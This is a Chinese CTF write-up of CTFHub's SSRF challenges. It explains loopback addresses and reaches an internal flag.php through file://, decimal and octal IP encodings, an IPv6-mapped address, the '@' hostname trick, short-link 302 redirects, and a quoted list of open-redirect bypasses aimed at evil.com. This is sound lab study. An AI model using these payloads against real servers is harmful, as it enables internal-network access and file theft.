目录
SSRF
在过滤了一堆中找ip本身
我们不能直接访问pc或moblie,必须通过server操作
直接改包很难,除非有说明是从本地来,否则严格的服务器不能通过改包实现
都是让服务器能够访问本地或者内网环境
知识点:回环地址
127.0.0.1
- 这是一个最常见的回环地址。
- 回环地址是什么呢?
回环地址并非只有一个,所有127开头的都是回环地址。127.0.0.1~127.255.255.255
回环地址有什么用?
计算机以回环地址发送的消息,并不会由链路层送走,而是被本机网络层捕获。用处只有一个,就是自己发给自己,自娱自乐
0.0.0.0
这个地址用于指代本机的所有ip地址,当然也包括回环地址。如果本机有多个网卡,那么0.0.0.0就代表所有网卡的ip加上所有的回环地址。
异同
如果前面看明白了,他们的异同也很明显了。
0.0.0.0包含127.0.0.1,都代表本机。(仅从本机视角去看)
0.0.0.0和127.0.0.1对其他主机都不可见
0.0.0.0代表一个ip集合,无法访问;127是单个ip可以访问
另
如果在网关路由表中设置0.0.0.0,他代表网关的所有ip,因此他会收容所有未知的请求。
原文链接:https://blog.csdn.net/qq_41655115/article/details/107165698
内网访问
尝试访问位于127.0.0.1的flag.php吧
?url=http://127.0.0.1/flag.php
也可用ipv6 ,{::ffff:7f00:1} 代替127.0.0.1
伪协议读取文件
尝试去读取一下Web目录下的flag.php吧
使用这个读不出来,php://filter/read=convert.base64-encode/resource=flag.php
查了一下,这个是文件包含中的,不能用于ssrf
SSRF中的URL的伪协议:
- file:///
- dict:///
- sftp://
- ldap://
- tftp://
- gopher://
我们读取web目录下的文件,一般网站的目录都放在www/html/目录下,结合之前做题经验,直接构造url
?url=file:///var/www/html/flag.php
数字IP Bypass
这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢
将127.0.0.1转换进制(每八位)
十进制 2130706433
八进制 017700000001
二进制 1111111000000000000000000000001
?url=http://2130706433/flag.php
DNS 重绑定
URL Bypass
请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧
下图的实例中,我们看到上述所述编程语言的解析函数得到的IP是google.com
,而cURL请求得到的却是evil.com:80
单斜线"/"绕过
https://www.landgrey.me/redirect.php?url=/www.evil.com
缺少协议绕过
https://www.landgrey.me/redirect.php?url=//www.evil.com
多斜线"/"前缀绕过
https://www.landgrey.me/redirect.php?url=///www.evil.com
https://www.landgrey.me/redirect.php?url=www.evil.com
利用"@"符号绕过
https://www.landgrey.me/redirect.php?url=https://www.landgrey.me@www.evil.com
利用反斜线""绕过
https://www.landgrey.me/redirect.php?url=https://www.evil.com\www.landgrey.me
利用"#"符号绕过
https://www.landgrey.me/redirect.php?url=https://www.evil.com#www.landgrey.me
利用"?"号绕过
https://www.landgrey.me/redirect.php?url=https://www.evil.com?www.landgrey.me
利用"\"绕过
https://www.landgrey.me/redirect.php?url=https://www.evil.com\www.landgrey.me
利用"."绕过
https://www.landgrey.me/redirect.php?url=.evil (可能会跳转到www.landgrey.me.evil域名)
https://www.landgrey.me/redirect.php?url=.evil.com (可能会跳转到evil.com域名)
10.重复特殊字符绕过
https://www.landgrey.me/redirect.php?url=///www.evil.com//…
https://www.landgrey.me/redirect.php?url=www.evil.com//…
这里我们用@绕过
/?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
302跳转 Bypass
先访问?url=http://127.0.0.1/flag.php
这里是 短链接变换
短链接变换推荐链接:https://www.985.so/
短链接变换通过检索短网址上的数据库链接,再跳转原(长)链接访问。
实际上这就是一种302
1.用localhost代替127.0.0.1
这个可以
2.利用短域名
http://surl-2.cn/0nPI
http://dwz-1.ink/0ndbh
这两个都是直接访问本地127.0.0.1/flag.php